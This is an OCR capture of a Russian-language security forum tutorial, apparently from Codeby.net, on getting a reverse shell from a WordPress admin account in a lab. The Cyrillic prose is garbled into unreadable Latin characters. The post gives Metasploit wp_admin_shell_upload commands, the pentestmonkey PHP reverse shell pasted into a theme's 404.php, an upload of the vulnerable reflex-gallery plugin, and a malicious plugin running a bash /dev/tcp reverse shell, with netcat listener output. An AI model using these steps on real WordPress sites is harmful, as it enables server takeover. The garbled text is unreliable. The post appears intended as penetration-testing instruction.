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| | WordPress: Reverse Shell
& ZerOmust2b - © Feb 17, 2020 - | reverse shell | | wordpress |

Watch

Feb 17, 2020 - {O Replies: 3 < [

OTOT NOCT CBsA3aH ¢ TecTupoBaHneM 6esonacHoctn WordPress onsa onpeaeneHnst BO3MOXHOCTH
ncnonb3oBaHna WordPress nytem koMnpomeTauum KOHCONM agMUHUCTpaTopa.

ConoepxaHue

e Metasploit Framework

e BHenpeHue BpegoHocHoro koga B WP_Theme
e 3arpysutb yassumyto WP_Pulgin

e BHenpuTb BPeOOHOCHbLIN nnarvH

TpeboBaHue:

XocT-mawwuHa: WordPress

3noymblwneHHuk: Kali Linux

Y4yeTHble gaHHble WordPress: admin: admin (B Hawem cny4yae)

HaBante HauyHem!!
Kak Bbl MOXXeTe 3aMeTUTb, Y MEHA €CTb AOCTYN K KOHCOoNn agMunHmnctpaTtopa WordPress 4epes Be6-

6pay3sep, ansa nonyyeHuns se6-o6onovkn Ham Heobxoammo mcnornb3osatb 3Ty CMS. CywecTtsyet
HecKonbko crnocoboB ncnonb3oaHus WordPress, gaBsanite nepengemM K HEKOTOPbIM onepauusim.
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Ignite Lab x |+

@ -» |® 192.168.1.101/wordpress/ &= vee ﬁ.|

Ignite Lab

Hello world!

Welcome to Ignite Technologies
Username: admin

Password: admin

Metasploit Framework

Cambin nepBbI METOA, KOTOPLIN Y Hac ecTb, - 3To Metasploit. 3ToT Mogynb NnpUHMMaeT ums
nonb3oBaTens v naporib agMUHUCTpaTopa, BXOAUT B aMUHUCTPATUBHYIO NaHenNb U 3arpy>aeT
nosiesHble AaHHble, ynakoBaHHble B Buae nnarnHa WordPress. [ocKkonbKy aT1o
ayTeHTMMUMPOBaAHHOE BbINOMHEHNE KOAA MO NPOEKTY, OH JOSMKeH paboTaTb Ha BCEX BEPCUAX
WordPress u, kak pe3ynbrar, OH AacT ceaHc meterpreter Be6-cepsepa.

Code:

msf > use exploit/unix/webapp/wp_admin_shell_upload

msf exploit(wp_admin_shell _upload) > set USERNAME admin

msf exploit(wp_admin_shell upload) > set PASSWORD admin

msft exploit(wp_admin_shell_upload) > set targeturi /wordpress
msf exploit(wp_admin_shell _upload) > exploit

OT0 cpabaTbIBaeT, 1 Bbl MOXETE BUAETb, YTO Y Hac 6bIr1o obpaTtHoe coeguHeHue ¢ Beb-cepBepomM
yepes ceaHc meterpreter.
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explo webapp/wp admin shell loac
T ) > set rhosts 192.168.1.101
192.168.1.101

it username admin

password admin

targeturi /v

Started reverse TCP handler on 192.168.1.106:4444
Authenticating with W using admip:admin...
Authenticate

eparing p

) /wp-content/plugins/nwMjSyvCIM/ICEteA

nding stage | 47 b o 192.168.1.101
Meterpreter _session 1 opened| (192.168.1.106:4444 -> 192.168.1.101:58736)
Dele

BHegpeHue BpeaoHocHoro koga B WP_Theme

EcTb Takke BTOpasa TEXHMKA, KOTOpasa No3BONsSeT Bam co3gaBaTb 0bonoyvkm Beb-cepeepa. Ecnn y Bac
€CTb MMS MoNb30BaTeNs 1 Naponb Ang aagMUHUCTpaTopa, BOMAMTE B NaHENb agMUHUCTpaTopa U
BHeapuTe BpeaoHocHbIN kog PHP B kavectse Tembl WordPress.
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Ignite Lab < Log In x |+

@ -» ¢ | @ & 192.168.1.101/wordpress/wp-login.php?redire: see ﬂ’| @

Username or Email Address

admin &

Password

D Remember Me

Register | Lost your password?

< Backto Ignite Lab

Bongute B WP_dashboard n oTkpointe Bknaaky appearance.
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< )2 C @ 192.168.1.101/wordpress/wp-admin

‘ﬂ & Ignitelab 6 B + New

@ Dashboard
Dashboard

Home

Welcome to WordPress!
We've assembled some links to get you ¢

Get Started

Customize Your Site

Comments

or, change your theme completely

Appearance

Plugins
At a Glance
)f 1 Post ' 2 Comments
—el WordPress 4.8.9 running Twenty Fifteen Upe
theme.

Search Engines Discouraged
Tenepb nepengute k Teme twenty fifteen b Boibpas wabnoH B 404.php
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@ 192.168.1.101/wordpress/wp-admin/themes.php

& Ignite Lab s P + New

Dashboard
WordPress 5.2.2 is available! Please update now.

Themes o Add New

€} New version available. Update now
Comments

M Appearance

Themes

Widgets
Menus
Header
Background

Editor

Active: Twenty Fifteen Customize

A¢ Plugins @

Bbl BuanTEe TEKCTOBYI0 06NacTb ANs peaakTMpoBaHus WwabnoHa, BBeguTe CBOW BPeOOHOCHLIN php-koa
30ecb, YTOobbI NoNy4YnTb 06paTHOE coegnHeHne ¢ BeB-cepBepoM.

WordPress 5.2.2 is available! Please update now.

Edit Themes

Twenty Fifteen: Stylesheet (style.css) Selecttheme toedit: Twenty Fifteen | Select
/* ~ Templates

Theme Name: Twenty Fifteen 404 Template

Theme URI: https://wordpress.org/themes/twentyfifteen/ (404.pho)

Author: the WordPress team
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Edit Themes

Twenty Fifteen: 404 Template (404.php)

=7Yphp

/=

* The template for displaying 484 pages (not found)
*

* @package WordPress

#* f@subpackage Twenty Fifteen

* @since Twenty Fifteen 1.8 <:I

*/

get _header(); 7=

=div id="primary" class="content-area"=
<main id="main" class="site-main" role="main"=>

=section class="error-484 not-found"=
Y1066 NPOOOMKNTE, Mbl UCNONb30Bany obpaTHyto obonouky PHP (By Penetstmonkey). A 3atem mbl
CKOMupoBasnu BblWeynoMsaHYThIN php-reverse-shell n sctasunu ero B wabnoH WordPress 404.php,
Kak NoKkasaHo Ha pucyHke Hmke. Mbl nameHnnu IP-agpec Ha Haw Tekywmn IP-agpec n BeBenu nobon
MopT, KOTOPbIV Bbl XOTUTE, U 3anyCTUNn npocnywmsaTtens netcat onsa nonyvexHns obpatHoro
coeguHeEHNs.

https://codeby.net/threads/wordpress-reverse-shell.72102/ 7/14



25.08.24, 11:25

(7) F'ocTeBas cTaTbs - WordPress: Reverse Shell | ®opyM nHhopmaumoHHon 6esonacHocTy - Codeby.net

Edit Themes

Twenty Fifteen: 404 Template (404.php)

r/

i
f/ Usage
e

J/ Limitations

i e

// proc open and stream_set_blocking require PHP version 4.3+, or 5+

// Use of stream select() on file descriptors returned by proc open() will
/f Some compile-time options are needed for daemonisation (like pcntl, pos

// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

set _time limit (@);
SVERSTON = *1 B+,
$ip =|'192.168.1. lEIEn|' ; ff CHANGE THIS

I/

&nid

sport = 1234; J/ CHANGE THIS
$chunk size = 1480;

swrite a = null;

$error_a = null;

$shell = 'upame -a; w; id; /bin/sh -i’;
Sdaemon = 8;

$debug = 8;

f

// Daemonise ourself if possible to avoid zombies later

f// pentl fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if {function exists{'pcntl fork'}) {

// Fork and have the parent process exit

ncntl fork():

Documentation: Function Mame... j Look Up

Lipdate File

O6HoBuTe dhann n npocmoTpute cneayrowmn URL, 4tobbl 3anycTntb BBeAEHHbIV KOA php.

|http://192.168.1.1@1/wordpress/wp—content/themes/twentyf1fteen/404.php ]

_

K

Y Bac 6yaet ceaHc nocne BbinonHeHus dganna 404.php. Ana goctyna Kk netcat ncnonb3symnte
crneayoLLyto KomaHay:
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: nc -lvp 1234
listening on [any]
192. 1.181: inverse
[192.1
[ qengric

:53 up 17 min, @ users,. load
TTY FRO
data) gi
can't

3arpy3untb ya3sumbin WP_Plugin

HekoTopbiM nonb3oBaTensam npu Bxoge B CUCTEMY He NpefocTaBnseTcs AoCTyn Ana 3anucu ang
BHeceHus nameHerHu B Temy WordPress, noatomy Mbl Bblibupaem «BHegpute WP Plugin BpegoHoc»
B KayecTBe arnbTepHaTuBbl CTpaTerum nosyyeHms Be6-o60no4ku.

Taknm obpasom, nony4mB AocTyn K naHenu ynpasnenns WordPress, Bbl MOXETE MonbITaTbCs
YCTaHOBUTb BPeOOHOCHbLIN NarvH. 340ech 8 yXXe ckadan ysa3BuMblii nnarvH us exploit db.

Haxxmnte 3pecb, 4ToObl cKayaTb NnarvH Ans npakTukn.

&« c @ & https://www exploit-db.com/exploits/36374 B | = 1% ¥
EDB-ID: CVE: Author: Type:
CRASHBANDICOT WEBAPPS
EDB Verified: Exploit: & / {}

Become a Certified Penetration

Platform: Date:
Tester
PHP
Enrollin Advanced Web Attacks and Exploitation ,
the course required to become an Offensive
Security Web Expert (OSWE)
Vulnerable App:

( GET CERTIFIED )

Tak KaK y Hac ecTb zip-paunn, 1 Tenepb NPULLIO BPEMS 3arpy3nTb NnaruH.

Dashboard > plugins > upload plugin
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@Y @& Ignite Lab & B 4+ New

8 Dashboard

WordPress 5.2.2 is available! Please update now.

Add Plugins| uploadPlugin

Featured  Popular  Recommended  Favorites
I
If you have marked plugins as favorites on WordPress.org, you can browse them here.
Appearance
Your WordPress.org username: Get Favorites

Plugins (2

nstalled Plugins

[MpocmoTpuTe 3arpy>XeHHbIN daln Kak nokasaHo.

Add Plugins | uploadPlugin

If you have a plugin in a .zip format, you may install it by uploading it here

| Browse.. ad33afbc2f2e22877b202d986acd43bd-reflex-gallery.zip

Install Now

Kak Tonbko naket 6y,£l,eT yCcnewHo yCTaHOBJ1E€H, HAM HY>XHO aKTUBUPOBATb MJ1arnH.

WordPress 5.2.2 is available! Please update now.

Installing Plugin from uploaded file:
ad33afbc2f2e22877b202d986acd43bd-reflex-gallery.zip
Unpacking the package...

Installing the plugin...

Plugin installed successfully.

Activate Plugin Return to Plugin Installer

Korga Bce xopoLlo HacTpoeHo, Toraa NpUcTynanTe K 9Kkcnnyataumm. Tak Kak Mbl yCTaHOBUN
ysi3BMMbIV MnarnH ¢ umeHem «reflex-gallery», n ero nerko ncnosnb3oBartb.

Bbl Bocnonb3yetech 3101 yA3BMMOCTbLIO B cpeae Metasploit, 3arpyaunte mogynb 1 BbINONHUTE
CriefytoLLyto KomaHay:

Code:
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[MockonbKy BbileynoMsiHyTble KOMaHabl OyayT BbINOMHEHDI, Y Bac OyaeT nonyyeH ceaHc meterpreter.
Kak nokasaHo B 3TOM CTaTbe, CyLLECTBYET HECKOMbKO CNOCOBOB UCMONbL30BaHMs BeG-canTa Ha

nnatgopme WordPress.
msf5 = '

msf5 ) } = set rhosts 192.168.1.101

dpress

TCP hanc 1 192.168.1.106:4444
at: UCmmvcxfXSBjZRS . Calling payload...

192.168.1.101:.

BHeaopuTbL BpeOOHOCHLIW NnaruH

Kak Bbl BUAENM Bbllle, Mbl 3arpy3unn ysa3BMMbIN NrarnH, ¢ JOCTYMHbIM eKCNNoMTOM. Ho Ha aToT pas
Mbl cobupaemca BHEAPUTb HaLl CreHePUPOBaHHbIA BPEOOHOCHbIV NAarvH Ans nonyyvyeHns obpaTHom
000NOYKMN.

OTO AOBOSMBbHO NPOCTO, MOCKOMNbKY Mbl COXPaHWUNN BPeOOHOCHbIV KoA A5 06paTHOM 060N04KN BHYTPU
php-danna c nmeHem «revshell.php» 1 cxanu dann B dhopmate zip.

exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/8080 0>&1'")

=?php

FES:
Plugin Name: Wordpr
* Author: Raj Chandel

"ba

[MoBTOpPUTE TOT Xe Lar, YTo U Bbile, AN 3arpy3kn davna nnarnHa «revshell.zip» n sanyctute
npocnylwwmsaternes netcat, 4yTobbl NoNy4YnMTL 06paTHOE coeguHEHME C LeneBon MallnHOMN.
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Add Plugins  uploadPlugin

If you have a plugin in a .zip format, you may install it by uploading it here.

AT

Browse.. revshell.zip nstall Now

Kak Tonbko naker 6yneT yCneuwHo yCTaHOBIEH, HAM HYXXHO aKTUBMPOBaTb nNiiarnH.

WordPress 5.2.2 is available! Please update now.

Installing Plugin from uploaded file: revshell.zip

Unpacking the package...
Installing the plugin..

Plugin installed successfully.
ﬁun“ to Plugin Installer

Kak TonbKo Bbl akTMBMpPYETE MNnarvH, oH ByaeTt yepes obpaTHoOe coenHEHnE Kak ceaHc netcat.

: Unknown host
), 19201 1.181] 5
Inappropria

NctouHuk:WordPress: Reverse Shell

dopym nHdopmaumnoHHon 6esonacHoctn - Codeby.net would like your permission to enable push
notifications.

ZerOmust2b well-known member

Green Team

Messages: 306 - Reaction score: 140
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J Feb 19, 2020 @ O #
e
Sy [a Ha cpura Tam reverse-shell ? JlnwHmne 3amopoyku . [lobaeb B Temy uploader
/‘;-' . form v rotoso .
- ﬁ\\'\ OnaTb Xe Ans Yero yctaHaBnNMBaTh YSI3BUMbIN NAarvH , €CNv eCTb BO3MOXHOCTb
NOCTaBUTb KaKon-HNBYOb hannosbl peaakTop 13 omumnanbHOro peno3nTopus
?
Sombrero
[ Green Team J
oy Sep 23, 2019
) 67
0y 4
BIT 0 ® Report oY Like [ + Quote ] [ < Reply ]

g [ #3

J Nov 23, 2020

-
N )

BOI'IpOC KaK nony4nTb AOCTYN K aAMUHKE =

Alex Sorrow

Member
oy Nov 15, 2020
o)) 5
i@, 0
BIT 0 oy Like [ + Quote ] [ <~ Reply ]

o [ #4

J Jan 24, 2021
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Unnamed
[ One Level J
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